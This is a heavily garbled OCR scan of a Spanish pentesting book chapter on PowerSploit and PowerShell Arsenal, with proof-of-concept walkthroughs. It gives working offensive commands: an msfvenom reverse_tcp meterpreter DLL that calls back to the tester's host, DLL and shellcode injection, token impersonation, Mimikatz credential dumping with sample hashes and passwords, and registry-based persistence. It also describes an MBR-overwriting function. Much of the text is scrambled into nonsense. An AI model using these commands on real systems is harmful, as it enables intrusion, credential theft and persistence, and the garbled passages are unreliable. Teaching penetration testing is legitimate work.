ey g i ejecutar un Mimika
co iltration. Esta categoria proporciona al pentester funcmpels palf:a]gzar g
= B tm,zou‘i'na comprometida, hacer inyeccion de credenciales, e i
sobre‘la m]aq de ficheros bloqueados por el sistema, configurar uE: ré yUna o el DY

g ejenllpg de memoria, conseguir screenshots en remoto, etcétera.

mini volcado ! et

i —explotacion, - =
sante para la post-exp ‘ S

intere g Esta categoria dispone de 2 funciones las cuales manejz:)r:: ;z g o

— Méyhemf)uede modificar el Master Boot Record y la segunda prov

La primera :

para provocar un volcado de memoria RAM.
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- Recon. Esta categoria proporciona funciones que pueden ser

utilizadas en la fase
de recopilacion de informacion, Algunas funciones proporcionan resolucion inversa de
direcciones IP y un escaneo sobre un grupo de méaquinas pudiendo ser utilizada en la fase de
Jingerprinting.

Las categorfas que son proporcionadas por PowerShell Arsenal son las que se enumeran a
continuacion:

- Disassembly. Estas funciones desensamblan codigo nativo y g

estionado.
- Mahvare

Analysis. Herramientas titiles cuando se realiza un analisis de maiware.
Memory Tools. Funciones que permiten al pentester
se encuentran en memoria y de la informacién que se al

realizar un anélisis de procesos que
berga en ella.

Parsers. Permiten parsear estructuras en memoria.
- Windows Internals. Obtienen y analizan a bajo nivel informacién sobre el sistema
operativo.

- Misc y libraries. Funciones y librerias de ayuda

para mejorar la experiencia de la
ingenieria inversa en PowerShel/.

Code Execution

Esta categoria es una de las mas llamativas, ya que la ejecucién de codigo en un sistema siempre
llama mucho la atencién del usuario. La

ventajas, ya que la evasién de mecanismos

ejecucion de codigo a través de €stos seripts tiene sus
de seguridad es algo prioritario en un test de intrusion.

En la siguiente tabla se muestran las distintas funciones que pueden ser ejecutadas a través de este
madulo:

Funcién Descripcion

Esta funcién inyecta una shellcode dentro de un proceso
indicado, siempre y cuando se tenga el mismo o superior
privilegio, o en el propio entorno de la consola de PowerS-
hell. La shellcode que se inyecta es un windows/meterpreter/
reverse_hitips

Invoke-Shellcode

[

———

Invoke-ReflectiveP B lwitin Carga un archivo Windows PE (DLL o EXE) en el proceso

——

Ejecuta una shellcode dentro del contexto en el

Invoke-Shellcode MSIL cuta |

que se gje-
a PowerShell sin utilizar ninguna llamada a funciones

Win32

Inyecta una DLL dentro de un proceso seleccionado por el
usuario

Invoke-Dillnjection

de PowerShell o inyecta una DLL en un proceso remoto

: Funciones de Code Execution en PowerSploit,

Tabla 3.23
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' Exfiltration
_ a ] n i : Sy {_- y - 5 ; " i i i - ’ i . -
SC]‘lpt Modificatio enerar EncodedCommand para pasar mas desapercibido, cifrar Las funciones de esta categoria son utilizadas para mostrar y manipular int

o e Tk ; osterior . o T - A s " <
acenarlos en disco o comprimir archivos para st p comprometido a través de PowerShell. Son funciones importantes que
ST es una vez el pentester se encuentra el p

En algunas ocasiones es necesario g

el contenido de ciertos sC"’prjd{?ﬁr‘a a-ones pueden resultar 1til
- = aci
: 6 s pequetias modific
ejecucidn. Estas p

en la maquina comprometida.

formacion del sistema

pueden ser utilizadas durante
effes! para conseguir capturas de pantallas, realizar pivoling de procesos, gestionar copias de

archivos bloqueados por el sistema, captura de pulsaciones, etcétera. A continuacion se muestra una

‘ éb ne 1n0dulo.
g d t f nciones q\.l pu en ser J ulo:
5
l siguiente a (][u mteora

Funcién Deseripcion
Descripeion

Funcién

ot Esta funcién requiere de permisos de administrador. Permite
. i espacios en blanco de un scrip enumerar tionar los diferentes roker den existi
Elimina los comentarios y esp ot numerar y gestionar lo 1tes foken que pueden exislir en
Cifra el contenido de archivos o scripis. Esto puede ser el sistema operativo. Es una funcién muy potente en la post-
1ira = :  un tiempo . i : ite realizar Hiverine o ;
e almacenar en un equl]:)oCi dur?imi(:nexiénp explotacion, ademsés, permite realizar pivoting entre procesos.
lo, una cadena de s

Remove-Comments

interesante si s& quier :
informacion referente a, por ¢jemp

livoke-TokenManisulas Por ejemplo, se puede ejecutar un proceso con cierto privilegio
ypledScript : iados a través de la red, mvoke-TokenManipulation después realizar la captura de sus pulsacio juntando 1
Qui-Encryp datos obtenidos que quieren ser envia y después zar la cap us pulsaciones, juntando la
U etcétera impersonalizacion de rokens con la funcién de keviogging. Dos

er salida en formato
Comprime, encoded en Base64 y genera una salida e

£l p Hob son /n |'0Af:"jOnl\eﬁﬂ-{i(””ﬁ”]ﬂ”(}” E”UH?HI(”
l‘”( (P(JE(N Nane a cua lle(ie sere BCu[ada a traves d(;‘ p CIIL g J
on ] cjemplos s

y Invoke-TokenManipulation ~Tmpersonate User ~Username “ni
-EncodedCommand instruccion PowerShell.exe _EncodedCommand <salida _— .CTW.V’?O”'U"'*-5'.1:’5:@”? B :
Qut-Enco la ins generada> Esta funcién crea un inicio de sesion con credenciales en texto
064 v genera un codigo para cargar una Invoke-Credentiallnjection | plano y se puede inyectar en LSALogonUser, para posteriormente
Comprime, encodea en Base04 ¥ & - ser utilizado desde un login de RDP o un login local
Out-CompressedDIl managed DLL en mer £ £

; Sl Tk N Cany Esta funcion copia un fichero desde un sistema NTFS mediante
Tubla 3.24; Funciones de Script Modification en Powersplotl. moke-iNirjalop)
2 J.24

lectura del volumen en bruto ¥ analizar sus estructuras

Esta funcién carga Mimikatz 1.0 en memoria utilizando
PowerShell. Esto puede ser utilizado para hacer un dumpeo de

Persistence ibilidad de poder ejecutar codigo o un S‘(.'I,'I[).'-Cﬂ \ bavole Mistisi c1‘edel101§{es sin escnbu"n.ada en d]S-CO: En Lm-e? fase d? POST=

. e e aleunos entornos. La posi P | de una maguina explotacion puede permitir obtener informacion sensible de
La persistencia es vital en alg 4l pentest a recuperar el contro \ plotac : 51l

ento programado en el tiempo puede ayudar al; ' los usuarios, como por ejemplo sus contrasefias. La funcion eg
un Mmom ral ‘

i eviamente.

comprometida pre

aplicable hasta Windows 8
T ‘ B Esta funcién registra las pulsaciones realizadas por el usuario de la
Desgriper ! bet-Raystahis g ma inp sobre la ventana acti }
e g : uima e la ventar wva
Lo iferentes opciones relacionadas con la 1 — ‘ 4
Configura difere dan ser utilizadas por la funcion | Esta funcion recupera contrasefas en texto plano v otra
i . a A T e . : s
- - Ontion persistencia para que pue , i Ger-GPPPassword informacién de cuentas que fueron abiertas a través de las politicas
New-UserPersistence()] Add-Persistence I e it o
, e directivas de grupo
diferentes opciones relacionadas con la — = = : — . 5 ;
! Configura difere la elevacion de acciones | Esta funcidn realiza sereenshots, siendo configurable el intervalo
% it o " 1 rla e 3 s 5 .
New-ElevatedPersistenceOption persistencid y > T Ger-TimedScreenshot de actuacion. Las capturas de pantalla realizadas se almacenan en
sstenc sistema oc un Scrr?
Crea persistencia en ¢ e una carpeta
e . - -t Proviaer ——
Add-PersBrone? Instala una DLL que aporte un SSP. Security Support Providel Gt Fhme et Enumera las rutas de los dispositivos de todos los volimenes
" % = o i weopy - .
Install-SSP Enumera todos los SSP cargados i locales compatibles con shadow copies
Ger-SecurityPackages -
Tabla 3.25: Funciones de Persistence erl PawerSploil.
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Funcidén Deseripcion
Mount-
Monta un volumen en modo shadow copy
VolumeShadowCopy L

Geit-VauliCredential

Recupera las credenciales almacenadas en Vault Credential, el
cual es un componente del sistema que almacena las credenciales
introducidas en sitios web y credenciales de Windows

Out-Minidump

Genera un minidump completo de memoria de un proceso
proporcionado por el pentester. Esta funcidn es itil para poder
examinar lo que el proceso alberga en memoria

Tubla 3.26: Funciones de Exfiliration en PowerSploit.

Otros: Mayhem, Recon y AV Bypass

Los modulos Mavhem, Recony AV Bypass proporcionan funciones para recopilacién de informacion,

fingerpri

inting y evasion de antivirus. Se han agrupado en un solo apartado debido a que cada modulo

contiene pocas funciones. A continuacion se enumeran las distintas funciones disponibles.

Funcion

Descripcion

Find-AVSignature

Localiza Single Byte AV utilizando el mismo método que DSplit desde
“olass 101", Esta funcién pertenece al modulo A V Bypass

Set-MasterBootRecord

Esta funcion es una prueba de concepto que sobrescribe el Master
Boot Record con el mensaje que el usuario indique. Este modulo per-
tenece a Mayhem

Set-Critical Process

Esta funcién provoca un pantallazo azul en Windows. Este médulo
pertenece a Mayhem

Invoke-Portscan

Esta funcién proporciona un escaner de puertos basico. Interesante
funcion para la fase de fingerprinting. Este médulo pertenece al modu-
lo Recon

Get-HTTPStatus

Esta funcién realiza peticiones HTTP y devuelve el codigo de estado y
la direccion URL completa. Este médulo pertenece al modulo Recon.
Un ejemplo sencillo de ejecucion seria Get-HttpStatus —Target <do-
minio>. Esta ejecucion comienza a hacer fuerza bruta de directorios y
recursos y devuelve el codigo HTTP y la direccion URL

Invoke-ReverseDns-
Lookup

Realiza un escaneo a los registros PTR. Este médulo pertenece al

modulo Recon

Ademés, el médulo Recon proporciona diccionarios que puede

Tabla 3.27: Diferentes funciones ern PowerSploil.

n ser utilizados para la fase de

recopilacién de informacidn en un test de intrusién. Hay uno especial para Sharepoint, otro de uso
genérico y un tercero para la biisqueda de paneles de administracion.

d
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PowerShell Arsenal: Disassembly

Este modulo i ;
proporciona fu 4
et fonna[:os p t.ncmn_e's que permiten desensamblar codigo nativo y manaced obteni
- A continuacion se enumeran las funciones correspondientes cong | ; ’denllendO
el médulo:

Funcion
Descripeion

Get-CSDisassembly Esta funcion desensambla un binario devolviendo un array de b
) ay ae oytes

utilizando Capstone Engine disassembly Framewori

GE’[—]LDI.S SEH ; - <
assembly Esta funcién desensambla de forma similar a como lo harfa /4
waasm

Tabla 3.28: Funciones de Disassembly en PowerShell Arsenal

PowerShell Arsenal: Malware Analysis

ste m d
p pOI‘ClOI’la dlferentes funCl()nf’.‘S lEla(.IOIIadaS con E] ana[ S18 de arChI\/
E odu I() o ‘08

en bl.lSC& de T aiware A Ci ]lt.“ C 10 € desc ]Je
. ontinuacion s d S i i
: 1 laS dlferente

= , generalmente
s lunciones correspondientes con este

Funcién
Descripcion

New-Fi i i Proporci ; :
FunctionDelegate porciona un Wiapper de un ejecutable para una funcién

en x86 o x86 64

AN —DEIIEA DOF ZFL 4 l)
ey {HCT rea u 4 €7 c ( [ tada
f wcron C A un wr Jpp d una fu 2101 €Xpo a

Invoke-LoadLibrary
oadLibrary Carga una DLL en el actual proceso de PowerShell

Parsea y devuelve el contenido del fichero hosts del sistema
Windows

Get-HostsFile

New-HostsFileEntry Esta funcion permite reemplazar o afiadir una entrada al

fichero de Aosis del sistema

Esta funcion permite eliminar una entrada del fichero de
hosts del sistema

Remove-HostsFileEntry

Ger-Assembly Strings Esta funcién devuelve un output con todas las strings de un

ejecutable NET

Get-AssemblyResources Esta funcion extrae todos los recursos managed de un
ensamblado NET

Devuelve todos los métodos de un ensamblado que estan

Ger-

AssemblylmplementedMethods implementad MS
0s en iL

Tabla 3.29: Funciones de Malwvare Analysis en PowerShell Arsenal

PowerShell Arsenal: Memory Tools

La inS]}E{:{ y (%] eS80 Q 1Mo e Td € 1
1on aﬂa]]sls d i Y
pI‘OC SOS§ €s un paS 1 p rtan pa d I anallS ] de ]a memora l
as

CIODES qll i ciones
€ nan ocu i
I‘I’ldO u ocurren en este nstante €n un Bquipo. ara eStE tipo de Situa i
ua h P 1
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PowerShell Arsenal dispone de un médulo denominado

siguientes tipos de funciones.

Memory Tools, el cual implementa los

Funcion

Descripeion

Get-ProcessSirings

Esta funcion devuelve como ouiput todas las sirings imprimibles
deun proceso que se encuentra en memoria

Esta funcién es un wrapper para kernel32! Virtual QueryEx

Get-Virtual Memorylnfo

Get-Process Memorylnfo

Esta funcion proporciona al usuario informacion de la memoria
virtual para cada conjunto de paginas que se encuentra en la

memoria. Esta funcién es similar a vadump WinDbg

Get-StructFromMemory

Esta funcién proporciona datos de un blogue no administrado de

la memoria en un proceso arbitrario

Tabla 3.30: Funciones de Memory Tools en PowerShell Arsenal.

PowerShell Arsenal: Parsers

Este modulo presenta funciones que
en memoria o los conocidos como file formats.

describen a continuacion.

proporcionan la posibilidad de realizar parseos sobre gjecutables
El médulo consta de 4 funciones, las cuales se

Get-QbjDunip

Funcion Deseripcion
Gei-PE Dumipea un proceso y parsed el PE
Find-ProcessPEs Encuentra archivos PE en memoria
Get-LibSymbols Muestra los simbolos desde Windows LIB
Muestra informacion acerca de los objetos OBJ en Windows

Tubla 3.31: Funciones de Parsers en PowerShell Arsenal.

PowerShell Arsenal: Windows Internals

Este modulo proporciona funciones que ayuda
operativo. Las funciones que conforman este mod

dulo son presentadas a continuacion.

n a obtener informacion a bajo nivel del sistema

Funcién Descripeion
. Devuelve el PEB de un procesos, es decir, el Process
Get-PEB v
Environment Block
Registra una traza de mbdulos cargados

Register-ProcessModuleTrace

Muestra informacién sobre los modulos cargados en los

Get-ProcessModuleTrace
procesos

Detiene la traza de modulos cargados

Unregister-Process ModuleTrace

Capitulo Ill. PowerShel] puro: El arte del pentesting
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Funcidon

Descripcion

Ger-SystemInfo

Esta funcid ‘
10n es un wrapper de !(ef-v?e[j’Q!GelSvWem.ff-Jfb

Iablag 3.32: F g e Vin Internals en ers =
abla 3. 52 Fuiciones de Wi ows fhre S e Lo hell Arse net,
el i P J; Apges

PowerShell Arsenal: Misc

Este modulo :
proporciona i : = i
el oy eriwima def;u;mton;s con diferentes objetivos, pero que pueden ser (itil i
de Sysinternals. A contin S 0 estaca_la tamosa Ger-Strings, la cual es una répli ezen dl.lcremes
uacion se describen las diferentes funciones que fo plica de sirings. exe

rman parte de Misc

Funcién

Descripcion

Ger-Strings

[ pe 1 X al Urtle ( ,45(11 ES & >D11ca
g
Cro ¢ (0] to jfl )
!'{}n] ¢ 1as Strines de (] I 1 I Ode
l

de 1 ; . .
¢ la funcionalidad de Svsinsernals Strings.exe

Get-Member

Esta funeid i
Prjmc;n ei{l]ende el cmdlet Get-Member, la cual afiade el parametr
e, el cual permite mostrar members no publicos de T:IET]B h

ConvertTo-String

Convierte los bytes de un fichero a string

Get-Entropy

C o
alcula la entropia de un fichero ¢ un array de hytes

Tabla 3.33: Funciones de Misc en PowerShell Avsenal

PoC: Code Execution + Recon

[:]l esta pl'ueba d p - = P -
€ concepto se Vaat]aha arcor lOSI E()du]()S (:U GIE Yecurion v l; ae Fower (o1f
E[ cena d ta b ] t o f d d 5 t ﬁ T2 i -
OF econ /
. €S8 1arto ) e es plLlE a de C()I]Cepl‘(l con eillpld ]a ase de reconocim e rpr . SU VO.(
p pl() 1 10116] y H.)e p 1R, ]1
& S J

En primer lugar

se utilizaran las funci
¢ nciones favoke-Portscan
. y Get-HiupStatus
; para obtener

infﬂrmacio]’] SO[)]‘G una mai i p o
i remota te I OTar 11IMeETy & EIrto:
clhielt()s y sen : 1'05 Cco s qulna remota. ESta lnaqu]na mot: lL]’ld é un gra '[] d
un manpa de Ttos rvi -0 dll e”a' El PEI??‘E.S‘IE‘I uti]léd é. eStﬂS ful’lCiDnES Ccor tl ﬁ]: dE EJI.LHL:I
]) pue as Y SEIVIC10S, Y pOI‘ Tro ili 1 = :
508 }lTTP ] 8] Ut[lléara [a se € 10
. i (@] . al . : E.‘Quﬂdd FUHCIOH con Cl ﬁﬂ de encontrar

La funcié
n Invoke-Portsc i
. an dis : .
flexible de dicha funcién, A o pong de una serie de pardmetros, los cuales ofrecen una func: ;
interesantes y las po 'b'l'& ontinuacion se presenta un cuadro resumen de | ( -’nCIO[lEllldad
posibilidades de descubrimiento que ofrece la funcid 0S parametros mas
cion.

Parametro
Descripcion
Permite indicar difi
. . terentes hosts en la linea de coma
c x ndos se
omas. Este parametro soporta [Pv4 CIDR por lo que se pu}égfd'osdpor
: ; n indicar

redes. por ejemplo 80.0.0.0/24
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Parametro

Descripcion

HostFile

Permite indicar un fichero con los hosts a escanear

ExcludeHosts

Permite excluir iosts separados por coma

Ports

Permite indicar los puertos que se quieren escanear separados por comas.

También se permite indicar un rango de puertos, por gjemplo 20-500

PortFile

Se indican los puertos desde un fichero de texto

TopPorits

Permite indicar el numero de Top Poris que se quieren escanear. Por
defecto es 50

ExcludePorts

Permite excluir los puertos indicados en este parametro

PingOnly

Deshabilita el escaneo de puertos y realiza un escaneo a través del proto-
colo 1ICMP

XmlOut

Devuelve en XML el descubrimiento realizado

Allformats Oul

Devuelve los resultados en ficheros con diferentes formatos como son

map, xml 'y gnmap

por ejemplo nmap.
FInvoke

Con la informacién a
entendiendo esta funcion como bastante flexible.
herramientas es un punto a su favor, gracias a la exportacion a fi

nterior se puede entender que la funcién dispone

Tubla 3.34: Pardmetros de Invoke-Porisean.

de diferentes opciones,
Ademés, el poder utilizar esta informacion en otras
cheros XML y otros formatos, como

—Poprtscan.psl vB.13 scan initiated B8/W872015 153741 as= I'nvokeé—Fo

" Port Scanning _
'[000D0000000000000000000000000 1

starting computer 121

D:>\libros\pentesting pouwe : :
192 .168.56.8/24 —PingOnly ! \jhere—Ohject {5_.alive —eq Struel

=

ol openPorts

| closedPorts
filteredPorts

finishTime

i Hostname

Af alive
openPorts
elosedPorts
filteredPorts
finishTime

ppenPorts
closedPorts

filteredPorts
finishlime

Fig. 3.37: Descubrimiento de maquinas en uita red a través de ICMP.

rshell\PouerSploit-master\Recon> Invoke—Portsca

192.168.56.161
True

<>

>

3

98./08,2615 15:43:39
192 .168.56.182

True

<>

{>

{3

A8/P8/2815 15:43:39

192 .168.56.255
True

<3

{443>

>

A8/AB/2015 :

- T T T T S ) e
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En s [ i
la imagen se puede visualizar COMO se escane

respondan a ping. alared 192.] 68.56.0/24 ¢

0] bl.lf)( a {IC ”‘qulll]hl"‘ llllf
/\(]EI]IES. Q nvo o i
) J 5 ()b EfOS dEVUL]l()S pOI ]a ﬂmC on ] I’L(f 0
; an pU 1do a d{CI]O ot P <
g S esta restriccio
J(S(U(. lll res ldd 4 SII'ICCIC
t()d(]b 105 Ob Gt{)S Qellt_lados. uno p(:‘ Cdda I'I'l(')Sil

T —
Iscan son filtradog para que solo

- se muestre
n 10 hubiera sido confi HHsHRn

gurada se mostrarian

Al}org se utilizard la funcién Invoke-
maquina en concreto, en este caso lan
VISughzar en la imagen, la maquina ti
caminos al pentester que deben ser e

Poriscan para llevar

o . ‘ar a cabo un e ——

1aquina con direccion IP 192,168 556%1”(]);0 ";k[ puertos con una
56,102, Ta

éne un gran numero de puertos abiertos, lo ¢
(8}
valuados en la fase de explotacion ’

S D:NTibros\ :
T s\pentestin JePS
Hosts 192.168.56.183 E;gﬁ;;hgézeguuerSploit

¥ como se puede
al abre diferentes

—masterNRecon) [ nuoke

192 168.56_102

True
€21, 22, 23, 25._.>

$28, 24
< 27, 32...3

U8-08.,20815 15:52:58

IFS D:N\1ibross i
e it rentestin ers
Portscan -Hosts 192.fﬁg?ggtiggliggggfpgglgég

[IPS D:N1ibp

>

openPorts
}DsedParts
tilteredPorts
inishTime

—mastersRecon> $ports = Inuok

up ing S -
= powersh 1 NPo 1]
N ™
(1523 entest n ershe ]. P Uel‘s ].D].t mastepr "ECD 5]30 ts [JEl]ID!

Fig : i
9. 3.38: Descubrimiento de puertos abie

rlos con Inveke-Portscan,

ara ﬁna 1Zar ¢ as \I € €5 (ie ECon ¢ (I(i 1€ la aqu 2
6] “. 101
R 0 y\f > ]

abierto se puede utilj linci
_ utilizar la funcién G

7 on Ger-HitpStaitus. E uncid
cuales se describen a continuacion [ et

. 102 tiene el puerto 80
dispone de algunos pardmetros, los

Parametro
Descripeion
Target i
Especifica la direccié
s ireccion web o direccid
on IP del Aosi r
- ST remoto
- Especifica el host remoto
Especifica el puerto remoto con e que se debe conect
r : : ectar
UseSSI Este parametro es de tipo Swirct i =
PO vwitch, por lo que si se indica se utilizar una
conexion SSL )

Tabla 3.35: Pardmetros de Ger-HitpStatus
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En el siguiente gjemplo se va a realizar una biisqueda de recursos sobre el servidor web de la méquina
192.168.56.102. En esta busqueda se va a filtrar por codigo, es decir, las respuestas obtenidas con

codigo “20%" serén las mostradas, ;Cual es el objetivo? Poder conocer qué recursos existe en el
servidor y se tiene acceso sobre ellos.

e D-\libros\pentesting powershe11\Puuer8p10it—naster\Recon) Get-HttpStatus
—Target 192 .168_.56.182 —Path \diccionapio.txt i Where—0bhject £$__.Status —
_ IIO]{IF}

Status URL

OK http://192.168.56 .182/dav
Fig. 3.39: Obtencidn de direcciones URL de un servidor.

En resumen, se puede conseguir el listado de direcciones URL y ver el estado que devuelve con la
siguiente instruccion Get-HitpStatus -Targe! www.example.com -Path <diccionario pard fuzzear>
Select-Object {where StatusCode -eg 20%}. La instruceion Select-Object puede ser sustituida por
Where-Object, la cual se ha utilizado mas durante el desarrollo del libro.

Las funciones de Code Execution serdn utilizadas ya en la fase de post-exploitation, aunque si se
tiene acceso fisico a un equipo o una sesion remota como un usuario gin privilegio se podrian utilizar
también para ganar acceso, ¢ incluso persistencia en el equipo, pero por lo general se utilizaran una
vez que la explotacion haya funcionado.

Las funciones que se presentan en esta prucha de concepto som Invoke-Shellcode, Invoke-
ShellcodeMSIL e Invoke-DlilInjection. 1.as dos primeras funciones son similares. La diferencia
entre lnvoke-Shellcode ¢ [nvoke-Shellcode MSIL es que la segunda no utiliza llamadas a funciones
Win32. lo cual puede ser aprovechado para evitar un comportamiento sospechoso. A continuacion se
detallan los parametros de las funciones /nvoke-Shellcode.

Parametro Descripeion
ProcessiD Se puede indicar el ID del proceso donde inyectar la shellcode
: Se puede especificar un array de hytes para gjecutar una shell-
Shellcode ; : :

code

Se puede especificar qué payload utilizar. Solo se dispone,
actualmente, de windows/meterpreter/reverse_htip'y windows/
meref;.')refer/reversejmftps

Paviload

ListMetasploitPavloads Lista todos los payloads soportados de Metasploit

Indica cual es la direccion 1P o nombre de host donde se recibird
la conexion. Si los payloads son inversos, cil este parametro el
pentester siempre configurara una direccion IP suya para recibir
la conexion

Lhost

D
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Parametro

L Ind: Descripcion
Pkt ndica en qué puerto es :
que puerto escucharg 1a méquina del p

ibi entes

recibir Ia conexién penieste

5 pu = + r .

L ]rldl q 'EF S

S cde car gue l/.)f'lt 4008.’” LIl‘JliZal CL[andO ]
s

Meterpreter a travé
: ves de HTTP
Ty Es un parametro tipo swirch, el cual T

ler para Meterpreter descontinuad
Especifica si se utilizar4 un Proxy
por lo que si se activa se cogeréﬁ |

1 para

Userdgeni

anza un

T ; =
ndica si se utiliza un franei-
s i

0 se utiliza el moderno

Proxy '
J Es un pardmetro tipo switch

08 valores ¢
~ B onfigura g
maquina como proxy eSS

Tabla 3.36: Pardmetros de Invoke-Shellcode
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timo, es importante hablar de fnvok
a maquina utilizando su PI

funcién permite inyectar una DLL en

e-Dillnjection. Esta
de ser facilmente inyectable en

Por ul
D. Una DLL pue

un proceso existente en 1

1N Proceso.
La Gnica desventaja es que la DLL debe ser escrita en disco, Jo cual puede hacer que sea detectada

por los motores de antivirus.
acion se muestran los diferentes parametros que proporciona esta funcion.

A continu
Parametro Descripcion
ProcessID Se puede indicar el [D del proceso donde inyectar la DLL
Dl Ruta dénde se encuentra la DLL que serd inyecte_lda en el proceso. La
ruta puede ser absoluta o relativa
37; Pardmetros de Invoke-DllInjectiot.

Tabla 3.
enta que este métado

9 Hay que tener en cu
ara lograr la evasion.

ra sencilla’

nerar una DLL maliciosa de mane
pero existen otras formas p

;Como ge
antidad de antivirus,

puede ser detectado por gran ¢
la DLL se utilizard la herramienta msfvenom del framework de Merasploit. La
windows/x64/meterpreter/reverse_tcp LHOST=<direccion P

Para generar
{ que escuchard el handler> -fdil = malicioso.dll.

instruccion seria msfvenom —p
pentester= LPORT=<puerto por e

Una vez se tiene generada la DLL se puede crear un proceso oculto como se hizo anteriormente, por

gjemplo con Start-Process notepad.exe _WindowStyle Hidden. Posteriormente, se puede inyectar la
DLL en el proceso generado con la siguiente instruccion Invoke-DilInjection _ProcessID <mimero
de PID> -DIl <ruta de la DLL>. En el otro extremo hay que configurar el handler de Metasploit

para recibir la conexion, como se ha visto en otros ejemplos.

Exfiltration + Persistence
nédulos Exfiltration y Persistence.
enManipulation, Invoke-Mimikatz,

PoC: Post-Exploitation con
pto se estudian funciones delosT
funciones Tnvoke-Tok

Respecto

En esta prueba de conce
Get-

al modulo Exfiltration se trataran las

TimedScreenshot y Out-Minidump.
La primera funcion va a permitir al pentester impersonalizar los usuarios que hay en el sistema,

también pudiendo enumerar a éstos.
tar los fokens

_Enumerate se puede lograr lis
ste gjecute con

o de Invoke-TokenManipulation
proceso en la maquina y que é

Mediante el us
| sistema. También se podra crear un

disponibles en ¢

otra identidad.
v utilizarlos se debera gjecutar como administrador la sesion de

Para poder enumerar tokens
PowerShell.

Capit 4 € /
apitulo I1l. PowerShell puro: El arte del pentesting

[PS D:NTibros\
pentesti
ing pouersheT1NPowerSploit-masterNExfil
ster\Exfiltration> In
voke

ate
~TokenManipulation —Enumes

T AUTHOR
LogonT ype 4
IsElevated ?
P
¢
SeCreateTokenPrivi
5t enPrivil
SeSystenPuofiloPrivilage.. > o ki ilede, SeTohPrius
ssignPrinarylokenPrivilege. Selncreaseq rivilege.,
seQuotaPy

SeSecurit A
yPi A
692 ivilege. SeTakeOunershipPrivilege. .. ivilege,

NT AUTHORITY
SERUVICIO
2344 LOGAL

LogonType
IsElevated
okenT ype
BessionlD
3 vilegesEnabled
rivilegesfAvailahle

True
Primary

{SeChangeNotifyPrivi
CSefseignpoiaryiriviloge, SelmpersonatePrivi
SeSyst - ma:‘--"'I.'ORB“P“iViIB e, a2 rivilege, SeCp

452% entimePrivilege, SeShugduwg;lgﬁligzgqtlo;:ah-iuillegg':e(;]_uhalpl-

g
a .Gonz =
gazqﬂ onzalez

ivilege?

rocessld

LogonType
IsElevated Toia

Primary

[PrivilegesEnabled
rivilegesAuailable

{SeChangeNotif oy
ChaTreasrocli yRrduilege. Selnpexs R
- taPrivi sonatePriv
et dote: SRR e SepeceGonttesuitone
oD *flvilege .

rocessld s@p4

Fig. 3.41: Enumeracic
g 3.41: Enumeracion de tokens en el sistema
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@ ; 64899 (PRREBRRA : BEABEAB3D

Interactive from 1

fidministrator b
ESQE%121—359?275698~1133418431—6889@@615 50

msy - )
P31 Primary ;
nggggggne : Administrator

» Domain pshell8

8
11@Pe50d3£2937f1
ggiii%igigggggg483738065d8dce?b3Flche2?4

» NTLM
» SHA1
tiphge;name Administrator
% Domain psheilﬁ
» Password 123abc. -
uilﬁgiin;me Administrator
» Domain pshell8
» Password 123abc..
livessp =
kiPBz;iRaﬁe : Administrator
» Domain : pshe%lﬁ
» Password @ 123abc..
S 2
credman :

* M - 8?35' ?2(:3&\??(l2 65 a (l94cd4949
L aac
L

Fig. 3.42: Dumpeo de credenciales con Mimikaiz.
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Por u'm»mo. queda -eso a disco. Esta funcion se equipara a I'CT aphcacnﬂ ,r.rimer s i .
i b o smetros como son Process y DumpF ilePath. El p g s
| prs arame
b de' e |car, y se obtendra con Get-Pracess. El segundo p
C e se quiere volcar,

proceso qu , ‘
ruta se almacenara el volcado.

d
: 5 1> Get—-Process notepa
T2 hroS sting powershel 5
IPS D:\libros\pente P;(K) Sl e

90 @.@8 3888 notepad

i z\Users\pgonza
H —Mini —pumpFilePath C
hell> Get—Process notepad i Out Hinidump
i sting povers

PS D:\libros\pentes
l1ez\Desktophdunp ‘ .
i Di torio: C:\Use:-s\pgnnzalez\])euktup\dump

irec <

LastWritelime Length Name

1:26 62662993 notepad_3888.dnp
shell?

Y cpelon de Wy aao memaoria un pr S0
1 4 D 2 I & o} di proc

o oleac e 7
g 3.43: Obfencion a 1 e un proce.
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Una vez obtenido el volcado de memoria se puede tratar por ejemplo con la funcion Get-Strings que
tiene una funcién idéntica a la herramienta strings.exe. En la imagen se puede visualizar como en
el notepad que ha sido volcado se habia €sCrito un texto que contenia |a palabra pass. Podria ser un
password que se estuviera almacenando en un fichero de texto,

. _ . Con esto se quiere mostrar que el
realizar volcados de memoria puede provocar que informacién q
¥ no esta protegida quede a la vista del pentester,
:\Users\pgunzalez\Desktop\dump)s
passwor
passuord:
Icpasswo
password: 123abc.
password: 123abc.

Ue se encuentra en memoria RAM

trings notepad 3888 . dmp

tr pass

Fig. 3.44. Visualizacion del volcado de memoria.

En el médulo Persistente se trataran 2 funciones. como son New—L"serPer.yr's.fenceOpfian y Add-
Persistence. La primera funcién configura las opciones con las que se quiere dotar de
& un scripf, para que posteriormente la funcion Add-Persist

Para

que el payload se ejecute en cada inicio de sesién. Estas opcione
que después se pasara a Add-Persistence.
r"V'ml’—{-"S()rPei'.s‘isfen('eOpfion —Re
Una v
uso de Add-Persiste
ScriptBlock <comandos> -ElevatedPer

persistencia
ence la afada. La funcién New-
UserPersistenceOption presenta los siguientes pardmetros:
Parametro Descripcion
1 . La via de persistencia sera a través de una tarea programada. Es un
ScheduledTask ; ; . -
parametro de tipo switch
La via de persistencia serd a través del registro. La ruta dénde se
Registry almacenard es HKCU\SOFTWARE) Microsoft\Windows\Current Version|
Run. Es un pardmetro de tipo switch
Daily El payload comenzara diariamente. Es un pardmetro de tipo switch
El payload atrancaré o ejecutars en un tiempo especifico. Se debe
At especificar en un formato como 12:54 AM”. ‘] AM?, *22:00:00" 0 *7:22:26
PM”
Onldie El payoad seréa ejecutado después de un minuto de inactividad en la
maquina. El parametro es de tipo switch
$il g El payload se ejecutara cuando un usuario inicie sesién. El parametro es de
# on .
& tipo switch
Tabia 3.38: Pardmetros de la funcicn New-L

'3ei'Pe'ii,\'f.i.'ei?c'e'()‘,'),'ir;m.
csta prueba de concepto se utilizard una via de persistencia como es el registro y se indicara
s se almacenaran en una variable

La instruccion para generar lag opciones serd Sopciones =
gistry —AtLogon,

€z que se tienen las opciones configuradas y almacenadas en una variable se puede hacer

nce. Como ejemplo se presenta la siguiente instruccion Add-Persistence
sistenceOption $ElevatedOptions -UserPersistenceOption
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$Opciones -Verbose -PassThru | Qut-EncodedCom
ps1. El pardmetro ElevatedPersistenceOption permit
permisos elevados. La funcién New-ElevatedPersistenceOption €s
forma similar a como lo hace New-UserPersistenceOption.

mand | Qui-File \EncodedPersistentScript.
e indicar cuales son las opciones si se tienen
la que genera dichas opciones, de

